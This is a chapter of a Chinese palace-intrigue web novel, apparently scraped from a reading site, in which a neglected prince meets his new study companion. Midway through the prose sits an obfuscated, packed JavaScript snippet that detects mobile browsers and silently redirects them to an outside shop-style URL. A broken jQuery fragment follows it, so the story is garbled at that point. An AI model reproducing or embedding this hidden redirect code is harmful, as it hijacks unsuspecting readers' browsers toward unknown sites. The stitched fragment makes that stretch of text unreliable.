文趣网 > 其他小说 > 山河旧盟 > 1. 第一章 初遇
    第一卷当时月色

    第一章初遇

    弘熙七年,秋。

    七皇子李承珩第一次见到顾长宁,是在尚书房外的长廊下。

    那年他十岁,在宫中活得像一道影子。

    母妃裴氏去得早,他还不及记事,只依稀记得一个模糊而温柔的轮廓,和一缕淡淡的药香。父皇子嗣众多,真正能得眷顾的,不过嫡出的那几位。他这样母家不显、又无生母庇护的皇子,每月能在宫宴上远远望见父皇一眼,已算难得。

    更多的时候,他只是安静地待在角落里。

    无人问起,也无人想起。

    这日秋风乍起,下了早课,皇子们三三两两被内侍簇拥着散去。锦袍玉带,笑语喧哗,像一阵明亮的风,从尚书房前吹过。

    承珩独自落在最后。

    他将写了一半的大字收进书囊,指尖沾了墨,一时寻不着帕子,便随手在袖口蹭了蹭。

    这件袍子是去年制的,袖口已经磨出毛边。

    他垂眼看了一下,并不在意。

    “殿下。”

    一个陌生的声音在近处响起。

    不高不低,带着几分刻意的恭谨,却又不显得卑微。

    承珩抬起头。

    廊柱旁站着一个少年。

    那少年比他略矮一些,穿一身半旧的天青色圆领袍。料子倒是不差,只是洗得有些发白了。他生得眉目清朗,皮肤是常在外头跑动才有的浅蜜色,与宫中那些养尊处优、白净矜贵的皇子截然不同。

    他怀里抱着一摞书册,站得很直。

    也正在看他。

    承珩顿了顿。

    他在宫里待了这些年,早已学会一件事——没有人会无缘无故注意到他。

    宫人趋奉的是得势的主子,兄弟结交的是有用的臂膀。而他李承珩,既无宠爱,也无倚仗,哪一样都不是。

    所以这个人是谁?

    为什么站在这里?

    又为什么叫他?

    “你是何人?”承珩问。

    他的声音很淡,淡得不像一个十岁的孩子。

    少年微微低头,行了个不算太熟练的礼。

    “臣顾长宁,今日新入宫,忝为殿下侍读。”

    顾长宁。

    承珩在心里默念了一遍这个名字。

    他依稀想起,前几日有内侍提过一句,说裴家那边替他安排了一位侍读。似乎是他母妃族中一位姨母的儿子,生在定北将军顾家。

    那位姨母嫁入顾家为妾,所生的孩子,自然也不会是什么受重视的嫡出公子。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761982|209610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个不受宠的皇子。

    一个将军府的庶子。

    倒也相配。

    承珩抬眼打量他。

    “你姓顾?”他问,“定北将军顾铮,是你什么人?”

    顾长宁答:“是臣父亲。”

    承珩点了点头,没有再问。

    定北将军顾铮,正二品武官,在朝中算是有头有脸的人物。可眼前这个少年方才自称“臣”,不提排行,也不提母族,可见在顾家处境未必好到哪里去。

    一个将军府庶子,被送进宫来给一个不得宠的皇子当侍读。

    这里头有什么盘算,承珩懒得深想。

    左右不过是两个不大要紧的人,被各自家族放到了同一个角落里。

    “走吧。”承珩收回目光,迈步向前。

    顾长宁便跟了上来。

    两人一前一后穿过抄手游廊,谁也没有开口。

    秋阳透过廊檐的缝隙落下来,在青石地面上投下斑驳的光影。承珩走得不快,身后那道脚步声也不急不缓,始终稳稳地跟着。

    不远不近。

    刚好半步。

    承珩没有回头。

    可他听见了。

    在这座深宫里,他第一次这样清楚地听见,有人跟在他身后的声音。